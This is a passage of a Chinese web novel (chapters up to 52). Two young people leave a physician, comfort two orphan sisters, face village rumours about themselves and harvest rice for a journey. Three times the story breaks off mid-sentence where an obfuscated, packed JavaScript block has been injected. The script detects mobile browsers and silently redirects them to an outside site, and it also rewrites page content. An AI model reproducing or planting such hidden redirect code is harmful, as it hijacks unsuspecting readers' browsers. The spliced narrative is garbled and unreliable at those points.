浓淬的薄荷汁还浸润在她的毛孔里,有着能麻痹触感的清凉之意。 想必也和治愈消肿之效脱不开干系。 她欣喜地感慨了一句陆大夫医术高明,然后拖着腰杆子推开了草堂的门,见到陆子礼将暂搁在东屋的两只凉椅都搬了出来。 他和关阇彦一人一只椅子,躺着望着漏光的木架子摇摇晃晃,两只凉意椅中间还夹了只放过兼味儿的小桌子,桌子上的东西换做了盆被吃得要差不多的红樱桃——陆子礼不喜甜,吃了一些就不动了,所以其中大半都入了关阇彦的肚子。 魏郁春甫一出门,刚好瞥到关阇彦悠哉游哉吐樱桃籽的模样,越看越欠揍。 她拖住腰杆的手下意识施力,掐得腰臀又一阵酸痛。 明明是他把自己害成这样的,还多耽搁了半个时辰回家,而他呢?则一点都不知臊地搁这儿享受。 这厮真是不要脸极了!她下定决心自己不能再和先前一样,轻轻松松被这小子迷乱了判断!她不可能原谅他的! 说罢,一身清风气质的姑娘鼓着气鼓鼓的脸颊,拖腰快步朝关阇彦走去。 “还不走就要寻不到顺搭的犊车了。” 关阇彦算是借了陆子礼的光,魏郁春来说话的时候态度还算宽和。 他方才还战战兢兢地以为这姑奶奶一出来就又要闹,担心晚上回了村没饭吃,索性多求陆子礼多给些樱桃,兀自洗净后吃了近两盆,眼下这盆其实是他吃的第二盆了。 谁承想,魏郁春看似还是和颜悦色的,他心中对她的印象突然好了起来,心里夸口——不愧是这般心胸宽厚的女子,关某钦佩! 殊不知,他忧心被克扣伙食从而着急填肚子的行为,在魏郁春眼中,早已成了不知廉耻兀自享乐的罪行。 陆子礼起身,将剩下的樱桃从庖厨里拎出来,那居然是整整一包袱的果子,魏郁春膛目,转眸看向头顶,这樱桃树不过半个时辰就成了个“秃子”。 本是想带回去给家人尝尝鲜,谁承想陆子礼出手这么大方,差点是要把树也拔了让她带回家,她委实感到惶恐……甚至是惭愧。 在她心目中,今日让陆子礼摆脱邪性秘术之事,她不敢将自己置在道德的制高点审判人,所以在觉得让人早日脱离苦海是好事的同时,也不可避免认为自己的确插手了别人的家事,行了冒昧。 好在陆子礼为人虽古怪却也敢于放下,人不计较藏在深处的冒犯,她却不敢厚着脸皮自欺没有做过不合适的事。 别人怎么想是别人的事,她断无资格自认清高。 所以这一堆好礼给出来,震惊得她一时没说出话来。她又忧心是不是关阇彦这厮厚着脸皮不知好歹提了要求,转眸凝视了几眼他。 关阇彦知道自己被冤枉了,一下子腹诽他不该那么早就给魏郁春下心胸宽厚的定义,他尴尬地起身,举手以示无辜:“我可没逼人做什么,虽然我的确有意让陆大夫多给一些,但态度客气,保真。” 陆子礼哭笑不得:“安心吧姑娘,这些的确是陆某自己的心意。” 事已至此,也没有把东西推辞回去的道理,魏郁春只好赧然收下:“多谢陆大夫。” “一路上……注意安全。” 陆子礼将二人送到门边,垂眸轻语,眸色下藏着说不明的情绪,那种比先前更重的愧疚感,压得他抬不起头再看离去二人的背影。 踏在往昔站过的门外青石阶上时,关魏二人又感到恍惚起来,昨日雨时,他们还在此地苦苦叩门求见陆子礼,不过才过了一日不到,周遭的一切就发生了翻天覆地的变化。由衷厌恶抵触的陆大夫,其实只是个冷面心热的好人,他面相令人生惧,也是因为被苦衷逼迫到深陷邪术陷阱后遭到了反噬。 魏郁春和关阇彦清楚地明白,今日一别,以后就再也不会见了。 陆子礼深受女儿病灶影响,能坚持活到多久尚无定论。只是他们不愿再提悲事,三人在同一屋檐下,若无其事地交谈,险些真就沉沦其中,忘记了注定的结局。 他们已经踏出去了一段路,回眸时见陆子礼已经关好了木门。 “不管能坚持多久,请务必让他们父女二人真正重逢一次吧,至少让他们父女互相理解、不留遗憾。” 魏郁春和关阇彦都在心中默默为陆氏父女祈着愿。 原本因为意外心有芥蒂的二人,到真正需要应对事情时,其实还是会忘记芥蒂、心照不宣。 他们二人互不开口,自然不知道这样的奇巧。 …… 一对孤女姐妹早已在出巷的路口蹲等了许久。 妹妹手上抱着两只顶了小啾啾的肉包子,一对眼睛又红又湿,一看就是刚哭过。姐姐的手抚摸着妹妹的脑袋,满脸愧疚郁闷,一看到关魏二人过来,神色变了又变,有些拧巴,却好似压着砥砺前行的决心。 看来姐姐在寻回妹妹的时候,就已经听了魏郁春的教诲,将事情的原委都告诉了妹妹,妹妹肯定会伤心难过,手里攥住的两只肉包估摸是姐姐的补偿。 魏郁春一看就知晓姐妹二人是畏惧陆子礼,才打算在这么远的路口蹲人。 他们二人都没想到会再见到她们。 随着两拨人的距离变得越来越近,孤女姐妹也不等了,直接跑了过来,妹妹还有些哽咽,埋着头啃姐姐买的包子。只有姐姐抬着脑袋,眼神虽然闪躲却还是竭力将目光定在两个年轻人的身上。 她对关阇彦还有点心理阴影,所以大部分时间,都在看魏郁春这个看似冷漠实际上很温柔的大姐姐。 她迫不及待地道:“姐姐,我已经和妹妹说了那些错事了,这次,我没有撒谎了,以后也不会了。” “那你妹妹原谅你了吗?”魏郁春弯着眸问。 这次没等姐姐开口,嘴里被包子塞得满满当当的妹妹一噎一噎地维护起了姐姐:“我……我肯定会原谅姐姐,姐姐其实没有你们想得那么不好,她这么做其实也是想让我过得更好。” 关阇彦也忍不住歪去脑袋笑了笑,因为说老实说,这两个丫头急于证明自己的模样,其实也挺可爱的。 魏郁春则是毫不掩饰自己的欣赏和怜爱,微微弯腰,两手各抚了姐妹二人的发顶,宽慰:“是啊。那你们姐妹二人以后一定要好好相处,不能再互相欺瞒了。” 两个小丫头忙不迭地点头,晃动的频率,不亚于孩童手中玩得正欢的拨浪鼓。 魏郁春刚受过伤,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447392|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以不管是药材还是一包袱的樱桃都是由关阇彦负担的,在其他人还在说话时,关阇彦索性解下了包袱,给孤女姐妹一人抓了一把樱桃。 他手掌本就大,一把樱桃给出去,丫头们一对小手都捧不住。 魏郁春愣了愣,心里暂时也提不起先前的怨言了。 姐妹二人破涕为笑,这位长得不大友好的大哥哥,在她们心中的形象突然就高大友好了起来,不管是心智多早熟的小孩子终究还是孩子,判断一个人的为人时,并不会那么复杂。 未几,魏郁春和关阇彦告别了两个孤女,自踏出这场闹剧起,他们的运道忽地变好,眨眼间就寻到了顺道回家的犊车,一人比最初的时候多花了一文钱搭车——天色晚了,拉牛的车夫显然想借此得个利。 这次的犊车比来时要宽大,前辕可搭坐两三人,刚好被车夫和关魏二人一起占了。 曲终人散。 …… 一路上,魏郁春思绪疲惫,奈何一路上波折,山间的野蚊子趁着越来越沉的夜色跑出来遭难人,她只好一边拍拍蚊虫,一边假寐。 关阇彦其实是想找个机会和人解释一番下午的意外,但他就是下不来那个台阶,不好意思在外人面前低头,纠结了好久,刚下定决心在车上杂音颇多的情况下,随便扯扯以慰良心。 谁曾想,这一等就等到了魏郁春闭眼。 明眼人都知道,她是装睡,明摆着不高兴搭理他。 他也不是没想解释,人不想接受,他有什么办法?万一之后又被人抓了把柄,叫着魏郁春又使办法侃他怎么办?那岂不是赔了夫人又折兵?! 得,搞得谁像是非要热脸贴这冷屁股一样?爷爷我也不伺候了。 这辈子,他就没向谁低过头,老爷子估摸是个例外……等等,说起来他处至古溪村时也求过魏郁春……坏了。 他自知理亏,不想了。 关阇彦抱着胸斜乜了身侧的魏郁春一眼,也跟着假寐起来。 山间路途遥远,虽说颠簸非凡,蚊虫泛滥成灾,可外面夕阳渐下,转眼间星斗灿烂,迢迢银汉若仕女浣在天际的软沙。 魏郁春一路上假寐,却有时候被虫子骚扰得心烦意乱时,也会睁开眸子抬眼望星幕。心中盘算不知何时才能归家。 冯家的人应该要急疯了吧? 她已两日未归了,明明昨日出发时和爹娘承诺的是当晚前就归。他们一定以为自己又被坏人针对上了。 其他村人呢? 虽然自证清白的时间还有将近一个月,但刚出了事,丢了孩子和被王家全家覆灭一事恐吓地胆战心惊的村人势必会时时紧盯冯家的动作。 刚许下证明自己的诺言,她就离家了两日,她站在那些村人的角度想,都会怀疑她并非善类。 罢了,待会儿回了家再和大伙儿多解释一番也成。 哦,对了,她想起陆子礼提供的两张线索。她不如就先给村人们服下一粒定心丸,就说她和关阇彦是在医病的时候发现了贼人的线索,这才耽搁了回来的时辰。 她想想不久后还要跋涉去盘龙山,此山路途遥远,不知家里还有没有足余的干粮。 若是不够,这些吃不掉的樱桃,不如当晚就处理好了,明儿晒成樱桃脯,又甜又能补充一些必需之资。 50. 谣言四起 古溪村—— 一对夫妻唉声叹气,搁大老远都能看到他们蔫儿了吧唧的“鬼影”,好似快要飘出几缕魂烟。下了犊车的两个年轻人见此都不得不加快脚步,生怕晚一步,那几缕魂烟就要引来啖食魂魄的厉鬼。 出乎意料的是,村人们没她想得那么急不可耐,非要日日夜夜守着冯家查她行踪,估摸冯家对此早做出了解释,至于解释的什么尚不知晓,胡诌一顿也是可以的。 就是苦了老夫妻,一人瘸了腿一人坏了脚腕,只得一人拖着一条还健康的腿,搭把胳膊,勉强撑起一个稳定的结构。就是这么个结构,还得坚持住在门前观望行人的身影,看来是思女心切。 魏郁春连忙跑了过去,今日群星璀璨,月亮不满却还算明亮,少顷,夫妇二人就看到了女儿欢快奔跑而来的模样,刹那间要哭出来。 “春儿!我以为你又——”冯母已经哭得上气不接下气。 魏郁春刚要安慰,就听到冯父忍着哭腔怒嗔一声:“人都回来了,还说这些不吉利的干什么?!” 关阇彦还隐没在后头,冯家院子里就只点了一串挂在灶屋屋檐下的小油灯,孤零零的,光晕还泛着油腻腻的黄。光晕狭窄,扑不到人后,刚好在人后的关阇彦就只好大半身子都披着黑。他一时也插不上人家美满团聚时的话,兀自盯着一处发呆,忽地对上一对乌溜溜的眼睛。 原来是冯巧儿。 这小丫头原来一直躲爹娘身后,远处看着不太打眼,以为就没这号人。 关阇彦从这丫头眼中看到了自上而下打量时的好奇,未几眼神盯到一处会目露赞许,然后又盯到另外什么地方又开始目露嫌恶。 前者估摸是脸蛋引起了她的兴致,后者……好像不是看出来的,而是闻出来的,因为她刚开始嫌恶时,就连忙捂住了口鼻,活像是见着了一大坨会行走的粪便。 她是一点面子都不给人留,大叫一声:“哇!好臭!” 关阇彦还没明白这丫头啥时候对自己如此兴致盎然,又见她整这出幺蛾子。他不快活的同时,也想起来毕竟泡了一整夜的大厕,腌入味儿了,若不好好洗洗,味道是真的散不去。只不过,他白日里没见陆子礼抑或是孤女们有意指出来,差点就忘了这桩事。 小孩子嗅觉灵敏,而那一对孤女姐妹平日里见惯了臭,冯巧儿的反应肯定要大。 那又怎么样?她怎么不说她姐姐,非要说他?她姐姐比自己熏得更入味儿呢,毕竟在大厕更里头避了一夜雨啊。 小丫头片子突然间对自己感兴趣了不说,对他的要求也变得苛刻起来。关阇彦感觉到了这些,但是却不知根本缘由。 冯巧儿这处生变,身侧魏郁春和爹娘煽情的氛围被顷刻打了断。 冯母一噎,忙一巴掌拍到丫头脑袋上,愣是把人给拍回了身后。她还不忘给关阇彦赔个不是:“孩子惯坏了,小兄弟不要怪责。” 关阇彦虽然内里将刁钻刻薄的本质贯穿了个透,但面向外人,起码知道装装样子,典型的道貌岸然。 他笑笑:“不打紧。” 冯巧儿被拍得缩回去的脑袋又冒了出来:“姐姐你们出去这么久干嘛了?是出去私会了吗?” 小孩子不懂事,以为私会是什么好词,说话也没个栏。 冯家夫妇老脸一红,呵斥:“巧儿,不许瞎说!” 冯巧儿其实也是个心疼姐姐的孩子,但这次姐姐晚归这么久,她却没有难过的模样,一定是冯家夫妻不忍多告知什么。毕竟他们自己就心焦至极了,再牵扯个人进来有什么意义呢?而且他们夫妻担心的都是些不吉利的,多添人一起不吉利,这不给自家女儿招晦气吗? 魏郁春有些摸不着头脑了,她以为爹娘对外会解释她去搜寻线索了,但听巧儿这么一说,味道好像变得有点离奇。 冯母把巧儿带回了屋子,冯父则对女儿惭愧叹道:“近来外面风头乱,说什么的都有,看到你一夜未归,就……哎。我和你娘也没想到你那天会不回来,一天到晚只敢听你的话,看着巧儿不出门,不知道外面风言风语。第二天看着我们的邻里发现你们一晚上不回来,先是怀疑,我和你娘只好解释说你是出门看病了,需要恢复的时间。” “毕竟是邻里人,同外面只会胡说八道,还有听风就是雨的村人不一样,信了咱家的为人。我们不得离家,就只好拜托邻人外出帮你解释。谁承想,这一传十十传百,越传越不着边际,我和你娘发现的时候,已经拦不住了。你妹妹生性活泼好动,脑子里面没什么东西,就是对死了人的大事也不记挂。我们怕她忍不住偷溜出去玩闹,只好天天和她说春儿你没什么大碍,她小孩子的不需要担心,既然不好叫她担心,你一夜未归,就也是和她说的你出门看病去了。这不,风声大了,巧儿就觉得谣言是真了。” 魏郁春整个人已经怔住了,满脸僵硬,好像一戳就要碎成渣滓。 关阇彦看到她这一副如遭雷劈的形容,腹中怙惙,搞得像是谁乐意跟她传谣言一样。 他经历过不少被贵女纠缠的事情,谣言什么的,熟悉得不得了。他还算冷静:“麻烦问一下,那些谣言都传了些什么?” 他是真好奇。生活无趣甚至苦憋——又苦又憋屈,找点乐子听听看看的好。 冯父惴惴道:“这……” 魏郁春木着脸:“爹,你说吧,好叫我下次遇到这种事情能有个准备。” 既然女儿开口,冯父也不能搪塞了。 “起初是说你去看病了,然后就是说是你是帮小兄弟看的病,瞧上人家了,发现人有隐疾,再然后,说你家里出了大事,远房亲戚着急要走,你不肯,就非要让小兄弟入赘,好利用人帮你找凶手……大致不差的就是这样了。” 本来想看魏郁春乐子的人,发现此举就是引火烧身,额上青筋暴起,人却只能逼着自己还维持着一副云淡风轻、和颜悦色的模样。他是和隐疾过不去了,还是怎么的? 魏郁春松了一口气,发现关阇彦人被诽谤,心情竟好转了不少,想想不止自己一个人惨,还有这厮陪着自己一起惨。 她道:“我和他不可能的,爹你放心吧。至于帮忙的事,也不是我强逼着人的,他现今无家可归,我提供吃喝住所,他也得卖点力不是?至于外面的风言风语,就不管了,索性让这股风带走点不久前的恐慌,也算好事。” 冯父已将他们二人引入家中,关好围栏,苦涩一笑:“闺女我明白的。” 冯母见他们聊完了话,才肯带着巧儿出来。冯母乍想起一事,赶忙对女儿道:“春儿啊,赶紧吃饭吧,一家人等着你呢!” 小巧儿嘟嘟囔囔一句:“我还能再等一会儿的,姐姐还有哥哥可以先去洗洗澡。臭!!!” “这孩子!”冯母又轻轻拍了她一脑袋。 魏郁春尴尬一笑,进屋子去拿换洗的衣物,发现屋子里迷漫着极其浓郁的焚烧艾草的味道,撩开云雾,才见屋子里有一只火盆,里面的火种如舌般舔舐着草叶。火盆熏得人眼睛发疼,她拿完衣服逃难似的遁了出去。 冯母一拍大腿,心想忘交代这事了,忙道:“不知道怎么回事,你屋子窗子破了个大洞,最近夜里闹虫子闹得厉害,只能每晚拿艾叶熏熏,明儿你爹托邻居带的木头就到了,到时候给你重新钉一只。你屋子,我和你爹屋子中间相同的口子被你爹暂时拿板子挡着了,今晚你就和我们还有巧儿一起挤一挤。” 其实除了她屋子,应该还有灶屋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冯巧儿见姐姐没直接否定和关阇彦的关系,就更笃定了那些天马行空的猜测,真是如同泄洪一样,拦不住一点。魏郁春已经洗好了一碗樱桃,连忙给巧儿口中塞了一颗,末了还不忘提醒一句:“记得吐籽。” 关阇彦已经洗好了澡出来,换了一件短褐和墨色的固腿裤,短褐还好,裤子收住小腿的地方皱皱巴巴,不知道被人为缝补了几次。这些依旧是蹭的冯父的旧衣物。他浑身还散发着皂角的气味,在油腻腻的昏光下,露在外面的沾了水的小臂光滑细腻到觅不到毛孔,像极了刚出锅的白面馒头,刚好他刚脱离了热水,身上也还散发着热雾。 他头发还湿着,随便拿布巾一揩,就不寻什么发带束着了。一尾墨色荡在脑后,水色泛光,滑溜溜的像在一弯水塘里摇曳自在的黑鱼。 冯巧儿探去一眼,又露出了赞许之色。 这关贤妻确实生得漂亮,她长这么大都没看到有生得这么标志的人,就是有一个怪怪的地方,他长得正正的,鼻子高挺,脸型对称,棱角分明,眼窝深邃,浓眉大眼的,一眼就能给人留下很深的印象。 这些特征好像都和村人们相反,村人们大多都是塌鼻子,脸型大多圆润,顶多下巴尖一点点,眼窝几乎没什么,都平平整整一张脸,是拿着看一眼就能直接忘掉的长相——当然她的姐姐是个特殊,她姐姐鼻梁虽然一样不高,但胜在鼻头小巧玲珑,脸型对称圆润的同时,下巴也比别人窄一点,眼窝虽然没有,眼睛却又大又亮,招人喜爱。 说来说去,关贤妻就是怎么看都完全没有当地人的感觉。 冯巧儿在好奇的同时,又觉得关阇彦和姐姐长得一样漂亮,对她好像也还不赖? 心中还真就准备把他当作自己的准姐夫,方方面面都想考虑周全,目前不太满意的是,关阇彦那经常惹人误会的冷酷脸色,还有他比毒蛇还要毒的嘴。 关阇彦在吃饭的时候,也感觉到了冯巧儿灼灼的目光,至始至终都没消停,他竟有种大难临头的错觉。 当晚尽管有顺他口味的藿羹,他也觉得食不其味。 51. 心猿意马 饭毕,魏郁春向往常一样服侍夫妇吃药睡觉,自己把一家人的饭碗洗了,转眼又看到还有一大堆没有处理的樱桃,它们熟得很透,引来了不少虫子,眼看就越引越多。 她抬眸借着油腻腻的灯光外瞥一眼,月色当空,已经很晚了。 她还得把这些樱桃洗好收拾起来,这样明日一起来,就可以放在筛子上晒干做果肉脯,但……还有这么多。 她总不好唤冯父冯母来帮忙,方才要洗碗的时候,他们就非要抢着干,结果腿脚不利索,争争执执的功夫,她都能洗完了。也是察觉到了女儿的无奈,夫妇二人才明白自己再闹下去就是真的给人添麻烦,所以在女儿陪同送屋睡觉的时候,他们老老实实躺着,装睡也睡过去了。 至于巧儿,哎,八卦心上瘾,还是八岁心智,就不麻烦人小丫头了。 她正苦叹,转眼脑中闪过一张欠扁的脸,没错,是关阇彦的。 算了,找他做什么?诚心给自己找不痛快?白日里的事情,她还没气消呢! 说曹操曹操到,灶屋门边,一个人影斜斜地打过来,烙在地面上,和魏郁春的影子相距无几。 他靠着门,云淡风轻地道:“心里头说我坏话呢这是?” 魏郁春讶然,刚要反驳,他就又说:“保真是,你手里头这几颗樱桃都快被捏烂了,再气也不至于跟个死物撒气吧?” 魏郁春埋头一看,发现手里头果真沾染了殷红色的果汁,黏黏腻腻,搅合得她心里头也怪别扭的。 百口莫辩的滋味,不太妙。 关阇彦还不知道她要做樱桃脯的计划,盯着一堆躺在包袱里的剩余果子,问她:“你这是打算做什么?” 她抓住扯话题的机会,接茬:“留着浪费,一时间也吃不完。不如弄好了明日放阳底下晒脯。马上就要去盘龙山了,还是抓紧时间存存干粮银钱的好。” 男子颔首:“确有此理。” 他默了下去,人影一直没动,就是一只藏在门后的手来来回回地摩梭,好似要将指纹都给搓平了,他还是有些纠结。 说起来明明早下定决心不搭理这事,但冯家就这么一亩三分地,不管怎么样,人都不好避开,他没办法做到和之前一样,看不惯谁就把谁当空气。何况,改日他还要单独和此女出行盘龙山,隔阂一日不消,事情就一日比一日麻烦棘手。 魏郁春气性有,风骨有,也不是那么容易低头的人。 魏郁春都还什么都没说,他就胡思乱想了不少。 他思来想去,心里有些别扭,或许那些以他们作主人公的谣言确实侵扰了他吧。他既然开不了这个口,不如见眼生勤好了,眼下他就是打算来这里找点事情做。 但有些东西说起来容易,做起来却难多了。 他估摸又觉得自己未免显得太“狗腿”了,深深叹了一口气,身子已经从门上脱离,直接踏了进来。 他把剩下的樱桃直接抱出去,眼不见为净好了,反正他事情做了,魏郁春就不好反悔拒绝,更不好胡乱编排他。 灶屋外刚好还有半桶水,他就着水将樱桃洗干净,速度很快,捞出来就抱了回去,然后冷冷抛下一句:“早点睡。” 离去的身影倒是潇洒。 一直背过身子的魏郁春,此时才好好地将身子转过来,盯着关阇彦的背影,一时出神。他这是在道歉吗?不过也太别扭了。罢了,他这人本身就别扭,看起来又臭屁又讨厌又冷酷,实际上人心倒是不坏。 原谅吧。 说起来,她好像白天刚发过誓吧,说什么再也不可能轻信他的为人,可是,每到对方真的做出什么让她认可或欣赏的事情时,那些念头总会遁走一阵。 说实话,她明明都深知对方里外的那些性格,她有不喜欢的,有喜欢的,融合在一起,汇聚成具象的人,难以区分,所以她也难以区分对他不喜欢和喜欢的地方。 即便是真的严整规矩地区分开来,她或许就觉得没劲儿了,没人比他还特殊。放眼前世,她也没有见过他这样灼眼的存在。 她突然彻悟,自己其实一直都明白这些,所以她永远不可能真的对他失望。否则她不会一次又一次地去信任他、对他产生好奇心,甚至鬼使神差地,被对方在困境时给予的援助之手迷住心神,粪臭冲天下,对方的一件衣物都能让她微起芬香涟漪。 坏了,她到底怎么了。 今晚冯父的话冲入脑海,什么“私会”,“什么入赘”……那时让她出糗不已的话,突然让她红了一张脸。 她好像有点喜……不,不可以,只是错觉,她猛猛一甩头,把不干不净的思想抛出脑海。 她在心里不断告诉自己——关贤齐不是有未婚妻吗?他明知如此还缕缕不知廉耻撩拨人心,这种流氓,她怎么可能瞧得上眼? 不可能的,绝对不可能。 她飞速将那些樱桃处理好用几个盘子托着,盘子下垫着驱虫的薄荷和紫苏草,略用干净的布料裹好,放在通风干燥的地方,保证不会发霉腐坏了。 翌日—— 魏郁春起的很早,将樱桃们剔除了籽,摆在筛子上,对着阳光晒。 尽管她起早的动作已经很轻了,但一晚上多浅眠的冯父冯母,时时刻刻都担心女儿的安危,听到了细细簌簌的声音,就以为女儿又不见了,活像害了魇,忙追出去。发现女儿还在,便松下一口气,趁着人还在晒果脯的时候,已经把朝食烧制了。 关阇彦不久后也起了身,他跟魏郁春知会了一声要去后山再看看,想来后山还有个孤零零的小儿郎的尸体在上头,他上次着急去捉人,把他撂在了那里,好似有些缺德。本打算求医归来就去安葬,却没想到耽搁了这么久。 加上他也有些忧虑的是,那具尸体是否还在的问题。 若是叫其他上山的村人看到,又发现人还是死在后山,风云变幻,说三道四的,又都成了他和冯家的不是了,真是事关安危的大事。 虽然可笑,但这就是现实。 对了,还有远在村郊的林子……里面的尸体,罢了,那林中极大,他仅在夜晚迷雾丛生之时走过一遭,再进去,没有人引导,他进去了就难以出来了。但若是村里人有认路的,倒是可以闯闯,可这个当口,说了什么别人也不信,与其说了再遭人栽赃怀疑,还不如不说了。 等盘龙山的事情解决完,若还缺乏证据,他便再硬着头皮闯闯那片林子吧。 包括山上的死尸,他是个野孩子,村中认识他的人,凑不齐两个手指头,恰好这两个手指头,刚好一个是王家的王叔,一个是王叔的儿子。 毕竟王叔在策划绑走魏郁春的阴谋时,可是故意让儿子和众位野小子去引冯家妹妹的。如今他们两个知情人也都死了,死了就算了,尸体也没了,这是个死无对证的死局。 所以山上的尸体,说残忍点,没有任何价值可用。说得更没觉人性点,它不光毫无价值,还能栽赃人。 这孩子生前没存在感、惹人厌恶或忌惮,死后竟也是这样的下场。哎,人与人,终归是不同的,绝大多数从出身起就定了性。 趁着现在时辰还早,村人们大多没起,他得赶紧上山了,因为万一被眼线盯上,必说他这是“毁尸灭迹”。 魏郁春听了他的想法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447394|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑重起来,也放弃了一开始决心去密林寻尸的计划,之后还让他快去快回,不要惹人怀疑。 关阇彦上了路,耽搁了不到半个时辰就回来了,一进门,米汤的味道扑面而来,冯家的朝食已经烧好了。 老样子,几个碗筷,一大盆盛出来的米汤,都在院子草棚下的桌案上摆着,冯家老小围了一桌子,着实亮眼的是,大老远就看到一圈桌子上专门为他留的一个位子,弄得煞有介事似的。说归说,他是喜欢的。 要说缺点也是一大堆,米汤太稀,小菜也没有…… 饭毕,魏郁春和爹娘说了大概后天就要启程的计划,问说是去哪里,就说是找到了线索,边走边看,不敢说是盘龙山。 此山险峻之名好似“天下闻名”,不知道的以为是一座住满恶鬼的邪山。有些为难的是,去的话不知何时能回来,一路上的物资太紧,所以想在今明两天里凑足一些干粮。 家里现成的显然不够,得出去自己寻些原材料,但她这方面资历太浅,只好方方面面都问好。最后得知最合适的两样东西,一个是玉米烙,一个就是干粥了。本来该再添一样干豆腐的,但夏时令里,可没有这样的东西。 至于玉米烙的话,还好,家里去年种的还有存的,南禺一般以采茶为生,所以玉米稻谷这些作物通常都是各自家里种着糊口的。 冯母挺会做玉米烙。 就是有点委屈家里人了,因为玉米一般存在家中,不到万不得已的情况下,也就是冬日无收时,都不会拿出来吃。结果没想到提前用上了。 冯家夫妇看出女儿为难,立马宽慰,说今年家里种来吃的玉米马上就成熟了,完全不用担心。 玉米烙有了,干粥则需要费点力气,已有早稻熟了,割出来还得用石臼和杵碾好。 而且家里面那片田地离得还有些远,因为屋后是后山,没什么地方,有地方也都是阴气森森的,照不到光,所以天地都和人家的挤在一块,得徒步走一炷香才到。税收繁重,冯家看重采茶卖茶,无论是玉米和稻子都是好生养的作物,不到每年收成时,那块地方都无人管。 不仅是冯家,整个古溪村都是如此。 处理稻米费时费力,光靠她,简直是痴人说梦。她庆幸还好昨晚和关阇彦缓和了关系,这不,大劳力才能好使唤一些。 于是魏郁春很快就制定了计划,她和关阇彦先去寻熟了的早稻,爹娘帮忙煮好玉米粒,烙成饼来吃。这样午饭也能有着落。等她和关阇彦带回稻米的时候估摸也是午上了,然后一家人就坐在一起慢慢杵米,明天晚上前米应是够了,然后就煮成厚粥,清掉水分,沾油,贴着锅烙米饼,也就是干粥了。 哎,若是有水碾子便好了,可惜村中无人家有这种算先进的物件。这里终究不是繁荣的朔州府。 她在感慨之余,已经拎着镰刀带着背篓上了路。为了能带更多的稻米回来,关阇彦和她都是同样的装备。关阇彦她一个大男人还好,倒是她,一路上带着这么重的东西走路,回来还得负重更多,着实不容易。 关阇彦本来还想劝劝,却见人脸上颇为桀骜不驯的□□劲儿,便知道她是劝不动的了。 他轻轻咳嗽两声:“今日那边的伤怎么样了?”他是在说上次他手误,让魏郁春背上落伤的事。 魏郁春微微诧异地看了他一眼,脑中的胡思乱想又开始涌上来,依旧是为了转移注意力,她接话接得很快:“已经好得差不多了。” 还是捱不住……眼看脸好像发热,她装模作样地看了一眼万里无云的碧色天穹,一反往常地主动抛出话题:“今日好像有点热,你觉得呢?” 52. 蛇头孔雀 关阇彦望了望天,奇怪地瞥了她一眼,道:“还好啊,有风,至少比下雨前那几天舒服一点。” “是吗,”魏郁春讪讪地扯了扯嘴角,脚步加快。 关阇彦则跟上去,忙道:“你别是又发烧了,实在不行就别勉强了,要不然又不知道要给人添多少麻烦。” 前面听起来是关心人,后面一听又变了味儿,是他的特色,不然真顺着人期待听到的好听话一样说,魏郁春先不是关心自己有没有复发,而是忧心眼前的男子有没有中邪。 不过话虽是一样的招人嫌,她心底堆积的怨言,早已成了抵御魔咒的淤泥,再毒一点的话听过来,她内心也不会再有多大的波澜了。她既说习惯,就不会再咬定此处死死不离口。 话虽如此,但还是足够让她冷静一阵的,旋即热色顿失,迎面而来的刚好是一阵囊着干草味儿的风,自她的耳侧鼓去,将余热都清走了,刚听过不好听的话的耳边也变得清爽了。 她撂了撂衣袖道:“我吃过药了,没什么事。” 开阔的向阳之地,窜着一丛又一丛的绿稻,早些成熟的黄色稻子扎着堆,和斑点似的缀在其间,一眼望过去,很好分辨。湛蓝色的天幕映着眼前的田园之色,真是别样的风景。来到这里前需要绕过几座山头,山间的路和蛇一样蜿蜒,左绕绕右绕绕,能转花了眼睛。 然而山头绕过,眼前就豁然开朗了起来,距离下一只可目测得到的山头还有老远的路要走,天公造就的这里,像极了环山包绕的天井,天井中种着杂七杂八的吃食作物,扎眼的也就是范围最大的稻谷。 魏郁春抬了抬席帽的帽檐,嗅着越来越浓的干草味儿,眯着眼道:“到了。” 冯家的地方不大,刚好在最南边,是一片约莫六七十平方丈的田地。田地间堪堪种了三排的玉米,苞米未熟,隔着皮一捏好似还能蹦出水来,嫩得有些过,距离成熟还有好一阵日子呢,冯家夫妇果然是为了安慰她才说的那些话。 除去三排玉米,就还有一丛的棉花,还有用泥土搭了边界框成的稻田,估摸是防止插秧放水时,一起把隔壁的作物也无辜淹了。 二人撂袖干活,两把镰刀分别选在不同的地方动刀,两个人一开始因为不熟悉显得笨手笨脚,魏郁春多次要割到自己的手,关阇彦毕竟是常年握刀的人,杀过人,就是没割过稻子,肯定也是笨拙的。 但不消一会儿,他们就熟络了手里头的事物,速度变快了很多,尤其是关阇彦,一人快敌过十人,割个稻子都给人一种势如破竹,要斩将搴旗的感觉,着实应了他那善于显人眼的性子。 